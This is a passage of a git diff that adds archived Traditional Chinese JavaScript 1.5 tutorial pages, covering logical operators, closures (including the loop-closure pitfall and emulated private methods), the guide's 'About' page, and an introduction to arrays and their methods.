+o3=true || false      // t || f 返回 true
+o4=false || (3 == 4)  // f || f 返回 false
+o5="Cat" || "Dog"     // t || t 返回 Cat
+o6=false || "Cat"     // f || t 返回 Cat
+o7="Cat" || false     // t || f 返回 Cat
+</pre>
+<p>以下代碼為 !（邏輯 NOT）運算子的範例。</p>
+<pre>n1=!true              // !t 返回 false
+n2=!false             // !f 返回 true
+n3=!"Cat"             // !t 返回 false
+</pre>
+<h4 id="求值的最短路徑" name="求值的最短路徑">求值的最短路徑</h4>
+<p>由於邏輯表達式是由左往右求值，他們使用以下規則來測試，儘可能以“最短路徑”求值︰</p>
+<ul> <li><code>false</code> &amp;&amp; <em>anything</em> 中的 false 是求值的最短路徑。</li> <li><code>true</code> || <em>anything</em> 中的 true 是求值的最短路徑。</li>
+</ul>
+<p>這些邏輯規則保證求出的值永遠正確。注意，上述表達式中的 <em>anything</em> 部分並未求值，因此所有未求值的部分都不會產生作用。</p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:運算子:位元運算子", "Core_JavaScript_1.5_教學:運算子:字串運算子") }}</p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators/Logical_Operators", "es": "es/Gu\u00eda_JavaScript_1.5/Operadores/Operadores_l\u00f3gicos", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs/Op\u00e9rateurs_logiques", "ja": "ja/Core_JavaScript_1.5_Guide/Operators/Logical_Operators", "ko": "ko/Core_JavaScript_1.5_Guide/Operators/Logical_Operators", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Operatory/Operatory_logiczne" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/閉包的運用/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/閉包的運用/index.html
new file mode 100644
index 0000000000..0e0905730f
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/閉包的運用/index.html
@@ -0,0 +1,227 @@
+---
+title: 閉包的運用
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/閉包的運用
+---
+<h3 id="閉包的運用" name="閉包的運用">閉包的運用</h3>
+<p>閉包（Closure）經常會被認為是 JavaScript 的高級機能，但了解閉包是精通語言的必要之事。</p>
+<p>思考以下的函數︰</p>
+<pre class="brush: js">function init() {
+  var name = "Mozilla";
+  function displayName() {
+    alert(name);
+  }
+  displayName();
+}
+</pre>
+<p><code>init()</code> 函數建立了稱為 <code>name</code> 的局域變數，然後定義了稱為 <code>displayName()</code> 的函數。<code>displayName()</code> 是內部的函數 - 他是在 <code>init()</code> 內部定義的，而且只在函數本體內部才可使用。<code>displayName()</code> 沒有他自己的局域變數，但會重複使用在外部函數裡所宣告的 name 變數。</p>
+<p>本例只會做一點事 - 試試執行代碼看會發生什麼。這是<em>詞彙作用域</em>的範例︰在 JavaScript 中，變數的作用域是由他自己在原始碼中的位置所定義的，且內部的函數能夠存取宣告於外部作用域的變數。</p>
+<p>現在思考下例︰</p>
+<pre class="brush: js">function makeFunc() {
+  var name = "Mozilla";
+  function displayName() {
+    alert(name);
+  }
+  return displayName;
+}
+
+var myFunc = makeFunc();
+myFunc();
+</pre>
+<p>如果你執行這個代碼，將會發生和前一個 <code>init()</code> 例子完全相同的效果︰字串 "Mozilla" 將會被顯示在 JavaScript 的警告方框中。其中的不同點 - 以及有趣的一點 - 是內部的 <code>displayName()</code> 函數會在執行之前從外部的函數所返回。</p>
+<p>代碼的運作看起來也許很不直覺。通常說，在函數內部的局域變數只存在於函數執行的期間。一旦 <code>makeFunc()</code> 執行完畢，預期不再需要 name 變數是很合理的。由於代碼仍舊以預期般的運作，很明顯情況並不如此。</p>
+<p>對於這個難題的解答是 <code>myFunc</code> 已經變成<em>閉包</em>了。閉包是一種特殊的物件，其中結合了兩樣東西︰函數，和函數所建立的環境。環境由任意的局域變數所組成，這些變數是由在閉包建立的時間點上存在於作用域裡的所有變數。既然如此，<code>myFunc</code> 就是結合了 <code>displayName</code> 函數和閉包建立之後就存在的 "Mozilla" 字串這兩者的閉包。</p>
+<p>這裡還有更為有趣的範例 - <code>makeAdder</code> 函數︰</p>
+<pre class="brush: js">function makeAdder(x) {
+  return function(y) {
+    return x + y;
+  };
+}
+
+var add5 = makeAdder(5);
+var add10 = makeAdder(10);
+
+print(add5(2));  // 7
+print(add10(2)); // 12
+</pre>
+<p>在這個範例中，我們已經定義了函數 <code>makeAdder(x)</code>，可接受單一參數 <code>x</code>，並返回新的函數。返回的函數會接受單一參數 <code>y</code>，並返回 <code>x</code> 和 <code>y</code> 的合。</p>
+<p>就本質而言，<code>makeAdder</code> 是函數的製造機 - 他會建立可以把指定的值和他們的參數相加的函數。在上例中，我們使用了我們的函數製造機來建立兩個新的函數 - 一個給他自己的參數加上 5，另一個則加上 10。</p>
+<p><code>add5</code> 和 <code>add10</code> 兩個都是閉包。他們共享相同的函數本體的定義，但保存了不同的環境變數。在 <code>add5</code> 的環境中，<code>x</code> 是 5。至於互有關連的 <code>add10</code>，<code>x</code> 是 10。</p>
+<h4 id="Practical_closures" name="Practical_closures">實用的閉包</h4>
+<p>該是拋開理論的時候了 - 但是閉包真的有用嗎？讓我們思考閉包潛在的用處。閉包讓你把一些資料（環境）和可操作資料的函數聯繫在一起。這一點明顯和物件導向程式設式並行不悖，物件可讓我們把一些資料（物件的屬性）和一個以上的方法聯繫在一起。</p>
+<p>因此，如果通常你會在某個地方使用附有單一方法的物件，你可以在這些地方使用閉包。</p>
+<p>視情況你可能會想這樣做，這在 Web 上尤其常見。我們寫在 Web 上的 JavaScript 代碼多半是以事件為基礎 - 我們定義了一些行為，然後把這些行為和由使用者所觸發的事件（如 click 或 keypress）連繫在一起。我們的代碼通常被連繫為 Callback︰在回應事件時，所執行的單一函數。</p>
+<p>這裡有個實際的例子︰假如我們希望在頁面上加入可以調整頁面文字的按鈕。以像素為單位，指定 body 元素的 font-size 是一個方法，然後以 em 為單位，設定在頁面上（如頁眉）的其他元素的大小︰</p>
+<pre class="brush: css">body {
+  font-family: Helvetica, Aria, sans-serif;
+  font-size: 12px;
+}
+
+h1 {
+  font-size: 1.5em;
+}
+h2 {
+  font-size: 1.2em;
+}
+</pre>
+<p>我們的互動式文字大小按鈕可以改變 body 元素的 font-size 屬性，拜相對單位之賜，接著對其他的元素做調整。</p>
+<p>JavaScript 代碼︰</p>
+<pre class="brush: js">function makeSizer(size) {
+  return function() {
+    document.body.style.fontSize = size + 'px';
+  };
+}
+
+var size12 = makeSizer(12);
+var size14 = makeSizer(14);
+var size16 = makeSizer(16);
+</pre>
+<p>現在 <code>size12</code>、<code>size14</code> 和 <code>size16</code> 這些函數可分別調整 body 文字的大小為 12、14 和 16 像素。我們可以把代碼和按鈕（本例中使用的是連結）連繫在一起，如下︰</p>
+<pre class="brush: js">function setupButtons() {
+  document.getElementById('size-12').onclick = size12;
+  document.getElementById('size-14').onclick = size14;
+  document.getElementById('size-16').onclick = size16;
+}</pre>
+<pre class="brush: html">&lt;a href="#" id="size-12"&gt;12&lt;/a&gt;
+&lt;a href="#" id="size-14"&gt;14&lt;/a&gt;
+&lt;a href="#" id="size-16"&gt;16&lt;/a&gt;
+</pre>
+<p> </p>
+<h4 id="Emulating_private_methods_with_closures" name="Emulating_private_methods_with_closures">使用閉包模擬私有的方法</h4>
+<p>像 Java 這類語言可以把方法宣告為私有的，意思是這些方法只能被同一類別的其他方法所呼叫。</p>
+<p>JavaScript 並不提供做這些事的原生方式，但可以使用閉包來模擬私有方法。私有方法不只是對限制代碼的存取這方面有用︰同時也是管理你的全域命名空間的強大方式，把非必要的方法堆在公開的界面裡。</p>
+<p>這裡是如何使用閉包來定義可以存取私有函數和變數的公開函數︰</p>
+<pre class="brush: js">var Counter = (function() {
+  var privateCounter = 0;
+  function changeBy(val) {
+    privateCounter += val;
+  }
+  return {
+    increment: function() {
+      changeBy(1);
+    },
+    decrement: function() {
+      changeBy(-1);
+    },
+    value: function() {
+      return privateCounter;
+    }
+  }
+})();
+
+alert(Counter.value()); /* 顯示 0 */
+Counter.increment();
+Counter.increment();
+alert(Counter.value()); /* 顯示 2 */
+Counter.decrement();
+alert(Counter.value()); /* 顯示 1 */
+</pre>
+<p>在此完成了很多事。在上一個範例中，每一個閉包都有他自己的環境；此處我們建立了由三個函數所共享的單一環境<span style="font-family: monospace;">︰</span><code>Counter.increment</code>、<code>Counter.decrement</code>、<code>Counter.value</code>。</p>
+<p>共享的環境是建立在無名函數的本體內，無名函數一經定義就會開始執行。環境內含兩個私有項︰稱作 <code>privateCounter</code> 的變數，以及稱作 <code>changeBy</code> 的函數。這兩個私有項都不能在無名函數外部被直接存取。相對的，必須由三個公開的函數來存取這些私有項，這三個函數是從無名函數的封裝器所返回的。</p>
+<p>這三個公開的函數共享閉包的同一個環境。感謝 JavaScript 的辭彙作用域，這三個函數都能存取 <code>privateCounter</code> 變數和 <code>changeBy</code> 函數。</p>
+<p>按照這個方式來運用閉包，可以得到通常是附加在物件導向程式設計裡的資料隱藏和封裝的好處。</p><h4 id="Creating_closures_in_loops:_A_common_mistake" name="Creating_closures_in_loops:_A_common_mistake">在循環中建立閉包︰常見的錯誤</h4>
+<p>在 JavaScript 1.7 引入 <code>let</code> 關鍵字以前，閉包常見的問題出現在當閉包是在循環內部建立的時候。思考以下的例子︰</p>
+<pre class="brush: html">&lt;p id="help"&gt;這裡會顯示有用的提示&lt;/p&gt;
+&lt;p&gt;E-mail: &lt;input type="text" id="email" name="email"&gt;&lt;/p&gt;
+&lt;p&gt;姓名: &lt;input type="text" id="name" name="name"&gt;&lt;/p&gt;
+&lt;p&gt;年齡: &lt;input type="text" id="age" name="age"&gt;&lt;/p&gt;
+</pre>
+<pre class="brush: js">function showHelp(help) {
+  document.getElementById('help').innerHTML = help;
+}
+
+function setupHelp() {
+  var helpText = [
+      {'id': 'email', 'help': '你的 e-mail 位址'},
+      {'id': 'name', 'help': '你的完整姓名'},
+      {'id': 'age', 'help': '你的年齡（你必須大於 16 歲）'}
+    ];
+
+  for (var i = 0; i &lt; helpText.length; i++) {
+    var item = helpText[i];
+    document.getElementById(item.id).onfocus = function() {
+      showHelp(item.help);
+    }
+  }
+}
+</pre>
+<p><code>helpText</code> 陣列定義了三個有用的提示，每一個都和文件中的輸入欄位的 ID 連繫在一起。循環會在這些定義裡巡回一圈，給每一個顯示相關連的說明的方法使用 onfocus 事件。</p>
+<p>如果你試著執行這個代碼，你會發現他並不如預期般的運作。不管你把焦點放在哪一個欄位上，都會顯示關於你的年齡的訊息。</p>
+<p>這其中的原因是代入給 onfocus 的函數是閉包；這些閉包是由函數的定義和從 <code>setupHelp</code> 函數的作用域所捕捉到的環境所組成的。這三個閉包已經建立了，但每一個都共享同一個環境。每次執行 onfocus 的 Callback 的時候，循環執行的是他自己的閉包，以及指向 <code>helpText</code> 列表中的最後一項的變數 item（由三個閉包所共享）。</p>
+<p>本例的解決方法是使用更多的閉包︰特別是使用稍早已描述過的函數製造機︰</p>
+<pre class="brush: js">function showHelp(help) {
+  document.getElementById('help').innerHTML = help;
+}
+
+function makeHelpCallback(help) {
+  return function() {
+    showHelp(help);
+  };
+}
+
+function setupHelp() {
+  var helpText = [
+      {'id': 'email', 'help': '你的 e-mail 位址'},
+      {'id': 'name', 'help': '你的完整姓名'},
+      {'id': 'age', 'help': '你的年齡（你必須大於 16 歲）'}
+    ];
+
+  for (var i = 0; i &lt; helpText.length; i++) {
+    var item = helpText[i];
+    document.getElementById(item.id).onfocus = makeHelpCallback(item.help);
+  }
+}
+</pre>
+<p>這次就如預期般運作。而不是所有的 Callback 都共享單一的環境，<code>makeHelpCallback</code> 給每一個 <code>help</code> 建立新的環境，此處的 <code>help</code> 參照了相對應的 <code>helpText</code> 陣列的字串。</p>
+<p>如果你使用 JavaScript 1.7 以上的版本，你可以使用 <code>let</code> 關鍵字建立具有區塊層級作用域的變數來解決這個問題︰</p>
+<pre class="brush: js">  for (var i = 0; i &lt; helpText.length; i++) {
+    let item = helpText[i];
+    document.getElementById(item.id).onfocus = function() {
+      showHelp(item.help);
+    }
+  }
+</pre>
+<p><code>let</code> 關鍵字使 item 變數改用具有區塊層級的作用域來建立，導致 for 循環每一次反復都能建立新的參考。意思是每一個閉包都會捕捉到個別的變數，解決因為共享同一環境所引起的問題。</p><h4 id="Performance_considerations" name="Performance_considerations">效能的考量</h4>
+<p>如果並沒有特定的任務需要用到閉包，且閉包對 Script 的效能會有負面的影響，因此在其他函數的內部裡建立不必要的函數是很不智的。</p>
+<p>例如，當建立新的物件或類別時，通常應該要把方法和物件的原型連繫在一起，而不是在物件的建構子中定義。這其中的理由是，每當呼叫建構子的時候，就要把方法代入（也就是每一個物件正在建立的時候）。</p>
+<p>思考以下不切實際的例子︰</p>
+<pre class="brush: js">function MyObject(name, message) {
+  this.name = String(name);
+  this.message = String(message);
+  this.getName = function() {
+    return this.name;
+  };
+
+  this.getMessage = function() {
+    return this.message;
+  };
+}
+</pre>
+<p>上面的代碼並未從閉包的行為中取得好處，應該改用重整過的形式︰</p>
+<pre class="brush: js">function MyObject(name, message) {
+  this.name = String(name);
+  this.message = String(message);
+}
+MyObject.prototype = {
+  getName: function() {
+    return this.name;
+  },
+  getMessage: function() {
+    return this.message;
+  }
+};
+</pre>
+<p>或者是︰</p>
+<pre class="brush: js">function MyObject(name, message) {
+  this.name = String(name);
+  this.message = String(message);
+}
+MyObject.prototype.getName = function() {
+  return this.name;
+};
+MyObject.prototype.getMessage = function() {
+  return this.message;
+};
+</pre>
+<p>在上面這兩個範例中，繼承的原型可以被所有的物件所共享，而且在每一次建立物件時不再需要方法的定義。參閱 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8#%E7%89%A9%E4%BB%B6%E6%A8%A1%E5%9E%8B%E7%9A%84%E7%B4%B0%E7%AF%80" title="zh tw/Core JavaScript 1.5 教學#物件模型的細節">Core_JavaScript_1.5_教學#物件模型的細節</a> 以取得更多細節。</p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:預先定義的函數:escape_和_unescape_函數", "Core_JavaScript_1.5_教學:物件和屬性") }}</p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Working_with_Closures", "ja": "ja/Core_JavaScript_1.5_Guide/Working_with_Closures", "pl": "pl/Przewodnik_po_języku_JavaScript_1.5/Praca_z_zamknięciami" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/關於/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/關於/index.html
new file mode 100644
index 0000000000..de638e2a9f
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/關於/index.html
@@ -0,0 +1,47 @@
+---
+title: 關於
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/關於
+---
+<p> </p>
+<h3 id="JavaScript_各版本的新機能" name="JavaScript_各版本的新機能">JavaScript 各版本的新機能</h3>
+<ul> <li><a class="internal" href="/zh_tw/JavaScript_1.5_%E6%96%B0%E9%AE%AE%E4%BA%8B" title="zh tw/JavaScript 1.5 新鮮事">JavaScript 1.5 新鮮事</a></li> <li><a class="internal" href="/zh_tw/JavaScript_1.6_%E6%96%B0%E9%AE%AE%E4%BA%8B" title="zh tw/JavaScript 1.6 新鮮事">JavaScript 1.6 新鮮事</a></li> <li><a class="internal" href="/zh_tw/JavaScript_1.7_%E6%96%B0%E9%AE%AE%E4%BA%8B" title="zh tw/JavaScript 1.7 新鮮事">JavaScript 1.7 新鮮事</a></li> <li><a class="internal" href="/zh_tw/JavaScript_1.8_%E6%96%B0%E9%AE%AE%E4%BA%8B" title="zh tw/JavaScript 1.8 新鮮事">JavaScript 1.8 新鮮事</a></li>
+</ul>
+<h3 id="你應該知道什麼" name="你應該知道什麼">你應該知道什麼</h3>
+<p>本教學假定你已具備如下背景知識︰</p>
+<ul> <li>對網際網路和 World Wide Web (WWW) 有全面性的認識。</li> <li>有良好的 HyperText Markup Language (<a class="internal" href="/zh_tw/HTML" title="zh tw/HTML">HTML</a>) 基礎知識。</li>
+</ul>
+<p>具有某些語言（如 C 或 Visual Basic）的程式設計經驗會很有幫助，但不是必要的。</p>
+<h3 id="JavaScript_的版本" name="JavaScript_的版本">JavaScript 的版本</h3>
+<table class="fullwidth-table"> <tbody> <tr> <th>JavaScript 的版本</th> <th>Navigator 的版本</th> </tr> <tr> <td>JavaScript 1.0</td> <td>Navigator 2.0</td> </tr> <tr> <td>JavaScript 1.1</td> <td>Navigator 3.0</td> </tr> <tr> <td>JavaScript 1.2</td> <td>Navigator 4.0-4.05</td> </tr> <tr> <td>JavaScript 1.3</td> <td>Navigator 4.06-4.7x</td> </tr> <tr> <td>JavaScript 1.4</td> <td> </td> </tr> <tr> <td>JavaScript 1.5</td> <td>Navigator 6.0<br> Mozilla（開放源始碼的瀏覽器）</td> </tr> <tr> <td>JavaScript 1.6</td> <td><a class="internal" href="/zh_tw/Firefox_1.5_for_developers" title="zh tw/Firefox 1.5 for developers">Firefox 1.5</a>，其他以 Mozilla 1.8 為基礎的產品</td> </tr> <tr> <td>JavaScript 1.7</td> <td><a class="internal" href="/zh_tw/Firefox_2_%E6%8A%80%E8%A1%93%E6%96%87%E4%BB%B6" title="zh tw/Firefox 2 技術文件">Firefox 2</a>，其他以 Mozilla 1.8.1 為基礎的產品</td> </tr> <tr> <td>JavaScript 1.8</td> <td><a class="internal" href="/zh_tw/Firefox_3_for_developers" title="zh tw/Firefox 3 for developers">Firefox 3</a>，其他以 Gecko 1.9 為基礎的產品</td> </tr> </tbody>
+</table>
+<p><small><strong>表 1: JavaScript 和 Navigator 版本</strong></small><br>
+<br>
+Netscape Enterprise Server 的各版本亦分別支援不同的 JavaScript 版本。為幫助你編寫相容於 Enterprise Server 各版本的 Script，本教學使用略稱來表示 Server 的版本。</p>
+<table class="fullwidth-table"> <tbody> <tr> <th>略稱</th> <th>Enterprise Server 的版本</th> </tr> <tr> <td>NES 2.0</td> <td>Netscape Enterprise Server 2.0</td> </tr> <tr> <td>NES 3.0</td> <td>Netscape Enterprise Server 3.0</td> </tr> </tbody>
+</table>
+<p><small><strong>表 2: Netscape Enterprise Server 各版本的略稱</strong></small></p>
+<h3 id="在何處取得_JavaScript_資訊" name="在何處取得_JavaScript_資訊">在何處取得 JavaScript 資訊</h3>
+<p>以下書藉內含核心 JavaScript 的文件︰</p>
+<ul> <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8" title="zh tw/Core JavaScript 1.5 教學"> Core JavaScript 教學</a>（本教學）提供有關於核心 JavaScript 語言及其物件的資訊。</li> <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83" title="zh tw/Core JavaScript 1.5 參考"> Core JavaScript 參考</a> 提供有關於核心 JavaScript 語言的參考資料。</li>
+</ul>
+<p>如果你是 JavaScript 的新手，就從 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8" title="zh tw/Core JavaScript 1.5 教學">Core JavaScript 教學</a> 著手。如果你已具備穩固的基礎，你可以從 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83" title="zh tw/Core JavaScript 1.5 參考">Core JavaScript 參考</a> 取得個別物件或語法的進一步細節。</p>
+<h3 id="JavaScript_的學習提示" name="JavaScript_的學習提示">JavaScript 的學習提示</h3>
+<p>JavaScript 的入門很簡單: 只需要有最新的 Web 瀏覽器。本教學使用了一些目前只能在最新版本的 Firefox（以及其化的 Gecko 瀏覽器）執行的 JavaScript 機能，所以建議使用最新版本的 Firefox。</p>
+<h4 id="互動式解譯器" name="互動式解譯器">互動式解譯器</h4>
+<p>互動式 JavaScript 的提示對於語言的學習有極大的幫助，使你不必儲存檔案或更新頁面就能以互動方式加以試驗。從 Firefox 的“工具”選單可以找到“錯誤主控台”，可提供嘗試互動式 JavaScript 的簡單途徑: 只需輸入一行代碼，並按下“執行”按鈕。</p>
+<p><img alt="Image:ErrorConsole.png" class=" internal" src="/@api/deki/files/192/=ErrorConsole.png"></p>
+<h4 id="Firebug" name="Firebug">Firebug</h4>
+<p>更高級的互動式提示還可使用第三方擴充套件 <a class="external" href="http://www.getfirebug.com/">Firebug</a>。Firebug 提供了高級的 DOM 檢視器（JavaScript 除錯器）、分析工具和各種實用工具︰</p>
+<p><img alt="Image:Firebug.png" class=" internal" src="/@api/deki/files/204/=Firebug.png"></p>
+<p>其中 Firebug 提供的最有用的功能是 <code>console.log()</code>，把自己的參數輸出到 Firebug 主控台的函數。有別於其他程式語言，JavaScript 並沒有輸出至標準輸出的概念<span style="font-family: monospace;">。</span><code>console.log()</code> 提供了很有用的替代品，使你更容易觀察程式的執行。</p>
+<p>本教學的許多範例中使用 <code>alert()</code> 顯示執行的訊息。如果你已安裝 Firebug，你可以使用 <code>console.log()</code> 取代 <code>alert()</code> 來執行這些範例。</p>
+<h3 id="文件慣例" name="文件慣例">文件慣例</h3>
+<p>JavaScript 應用程式可執行於許多的作業系統，本文的資訊可套用於所有的版本。檔案和資料夾路徑採用 Windows 格式（使用反斜線 (\) 分割資料夾名稱）。對 Unix 版本而言，資料夾路徑也是相同的，除非你使用斜線 (/) 取代反斜線來分割資料夾名稱。</p>
+<p>本教學使用如下形式的 URL︰</p>
+<p><code><span class="nowiki">http://server.domain/path/file.html</span></code></p>
+<p>在上面的 URL 中，“server”表示執行應用程式的伺服器的名稱（例如︰research1、www），“domain”表示網際網路的域名（例如︰netscape.com、uiuc.edu），“path”表示在伺服器上的資料夾結構，“file.html”表示個別的檔名。一般來說，在 URL 裡以標準的等寬字型顯示的斜體表示是可修改的項目。如果你的伺服器已啟用 Secure Sockets Layer (SSL)，URL 的 http 就應該取代為 https。</p>
+<p>本教程使用如下的字型慣例︰</p>
+<ul> <li><code>等寬字型（monospace font）</code>用於範例代碼和代碼列表、API 和語言元素（方法名和屬性名等等）、檔案名稱、路徑名稱、資料夾名稱、HTML 標記，以及必須輸入在螢幕上的文字。（等寬斜體字型用來表示代碼裡的可修改項。）</li> <li><em>斜體（Italic type）</em>用於標題、強調、變數和可修改項，以及按字面表示的文字。</li> <li><strong>粗體（Boldface）</strong>用於術語。</li>
+</ul>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學", "Core_JavaScript_1.5_教學:JavaScript_概要") }}</p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/About", "es": "es/Gu\u00eda_JavaScript_1.5/Acerca_de_esta_gu\u00eda", "fr": "fr/Guide_JavaScript_1.5/\u00c0_propos", "ja": "ja/Core_JavaScript_1.5_Guide/About", "ko": "ko/Core_JavaScript_1.5_Guide/About", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/O_tym_przewodniku", "zh-cn": "cn/Core_JavaScript_1.5_Guide/\u5173\u4e8e" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/陣列的運用/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/陣列的運用/index.html
new file mode 100644
index 0000000000..110141a77a
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/陣列的運用/index.html
@@ -0,0 +1,451 @@
+---
+title: 陣列的運用
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/陣列的運用
+translation_of: Web/JavaScript/Guide
+---
+<p>陣列是值的有序序列。有別於其他的語言，JavaScript 並沒有明確的陣列資料類型。取而代之，提供了 <code>Array</code> 物件，可以直接實體化或使用陣列的字面表達記法。</p>
+
+<p>Array 物件有以各種方式操作陣列的方法，如合併、反轉、排序。他有一個用來指定陣列長度的屬性。JavaScript 也提供有用的陣列的字面表達語法，用來建立這些物件。</p>
+
+<h3 id="陣列的建立" name="陣列的建立">陣列的建立</h3>
+
+<p>陣列可以使用字面表達語法（通常是首選）或使用 Array 的建構子（也可以稱作函數，兩者行為完全相同）來建立︰</p>
+
+<pre class="eval">var colors = ["Red", "Green", "Blue"];
+var colors = new Array("Red", "Green", "Blue");
+var colors = Array("Red", "Green", "Blue");
+</pre>
+
+<p>陣列具有 length 屬性，提供來存取陣列的長度。如果你使用上述其中一個例子來初始化陣列，陣列的長度將會是 3︰</p>
+
+<pre class="eval">print(colors.length); // 3
+</pre>
+
+<p>在建立陣列的時候，如果你知道你的陣列的預期長度，你可以給 Array 的建構子傳入長度︰</p>
+
+<pre class="eval">var fiveItems = new Array(5);
+</pre>
+
+<p>明確定義長度並不會影響陣列的實際容量；這樣只會影響新陣列的 <code>length</code> 屬性。（陣列本身並沒有小於指定值的索引的屬性。）構建子的變體極少使用到。</p>
+
+<p>JavaScript 1.7 引入陣列的簡約式作為建立新陣列的捷徑；<a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E9%99%A3%E5%88%97%E7%9A%84%E9%81%8B%E7%94%A8#%E9%99%A3%E5%88%97%E7%9A%84%E7%B0%A1%E7%B4%84%E5%BC%8F" title="zh tw/Core JavaScript 1.5 教學/陣列的運用#陣列的簡約式">下面</a> 會討論。</p>
+
+<h3 id="陣列元素的運用" name="陣列元素的運用">陣列元素的運用</h3>
+
+<p>你可以透過把值代入給陣列元素的方式儲存陣列。下面是我們的範例 <code>colors</code> 陣列更為完整的實例︰</p>
+
+<pre class="eval">var colors = []; // 空陣列
+print(colors.length); // 0
+
+colors[0] = 'Red';
+colors[1] = 'Green';
+colors[2] = 'Blue';
+print(colors.length); // 3
+</pre>
+
+<p>附加元素至陣列的末端的常見習慣是使用 <code>array.length</code> 作為索引︰</p>
+
+<pre class="eval">colors[colors.length] = 'Orange';
+</pre>
+
+<p>可以使用 <code>array.push()</code> 方法達到同樣效果︰</p>
+
+<pre class="eval">colors.push('Purple');
+</pre>
+
+<p>陣列的元素使用元素的索引來存取。陣列是以 0 開始索引，因此陣列中的第一個元素是 0︰</p>
+
+<pre class="eval">var red = colors[0];
+</pre>
+
+<p>可以使用各式各樣的陣列方法來存取陣列的元素。例如，<code>pop()</code> 方法移除並返回陣列的最後一個元素︰</p>
+
+<pre class="eval">var lastElement = colors.pop(); /* colors 的最後一個元素也被移除 */
+</pre>
+
+<h3 id="理解_length" name="理解_length">理解 length</h3>
+
+<p>以實作的層級來說，JavaScript 的陣列實際上把元素存放成標準的物件屬性，並使用陣列的索引作為屬性的名稱。<code>length</code> 屬性很特別；他永遠會返回比保存在陣列中的最高索引值再高一的值︰</p>
+
+<pre class="eval">var cats = [];
+cats[30] = ['Dusty'];
+print(cats.length); // 31
+</pre>
+
+<p>你也可以把值代入給 <code>length</code> 屬性。寫下小於陣列中已存放的項目的數目，就會截掉其餘的項目；寫下 0 就完全清空陣列︰</p>
+
+<pre class="eval">var cats = ['Dusty', 'Misty', 'Twiggy'];
+print(cats.length); // 3
+
+cats.length = 2;
+print(cats); // 輸出 "Dusty,Misty" - Twiggy 被移除了
+
+cats.length = 0;
+print(cats); // 什麼也沒輸出；cats 陣列是空的
+</pre>
+
+<h3 id="迭代整個陣列" name="迭代整個陣列">迭代整個陣列</h3>
+
+<p>常見的操作就是迭代所有陣列的值，並以同樣方式處理每一個值。做到這一點的最簡單的方式如下︰</p>
+
+<pre class="eval">var colors = ['red', 'green', 'blue'];
+for (var i = 0; i &lt; colors.length; i++) {
+  alert(colors[i]);
+}
+</pre>
+
+<p>如果你知道陣列中沒有一個元素會在布林的求值結果中為 false - 如果你的陣列只以 DOM 的結點組成，例如，你可以使用更有效率的習慣︰</p>
+
+<pre class="eval">var divs = document.getElementsByTagName('div');
+for (var i = 0, div; div = divs[i]; i++) {
+  /* 以同樣方式處理 div */
+}
+</pre>
+
+<p>這樣可以避免檢查陣列長度的開支，並且確保 div 變數被重新指定到每一次循環的使用中項目，以方便加入。</p>
+
+<p> <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E5%85%A8%E5%9F%9F%E7%89%A9%E4%BB%B6/Array/forEach" title="zh tw/Core JavaScript 1.5 參考/全域物件/Array/forEach"><code>forEach</code></a> 方法是在 JavaScript 1.6 引入的，提供了另一種迭代陣列的方式︰</p>
+
+<pre class="eval">var colors = ['red', 'green', 'blue'];
+colors.forEach(function(color) {
+  alert(color);
+});
+</pre>
+
+<p>傳給 <code>forEach</code> 的函數會在陣列中的每一個項目中執行一次，並把陣列的項目傳給函數作為參數。</p>
+
+<h3 id="Array_的方法" name="Array_的方法">Array 的方法</h3>
+
+<p><code>Array</code> 物件有以下的方法︰</p>
+
+<ul>
+ <li><code>concat</code> 合併兩個陣列，並把新的陣列返回。</li>
+</ul>
+
+<pre class="eval">var a1 = [1, 2, 3];
+var a2 = a1.concat(['a', 'b', 'c']);
+print(a2); // 1,2,3,a,b,c
+</pre>
+
+<ul>
+ <li><code>join(deliminator = ",")</code> 把所有的陣列元素合併成字串。</li>
+</ul>
+
+<pre class="eval">var a = ['Wind', 'Rain', 'Fire'];
+print(a.join(' - ')); // "Wind - Rain - Fire"
+</pre>
+
+<ul>
+ <li><code>pop</code> 移除掉陣列的最後一個元素，並把這個元素返回。</li>
+</ul>
+
+<pre class="eval">var a = [1, 2, 3];
+var last = a.pop();
+print(a); // 1,2
+print(last); // 3
+</pre>
+
+<ul>
+ <li><code>push</code> 在陣列的末端加入一個以上的元素，並返回新的陣列長度。</li>
+</ul>
+
+<pre class="eval">var a = [1, 2];
+a.push(3);
+print(a); // 1,2,3
+</pre>
+
+<ul>
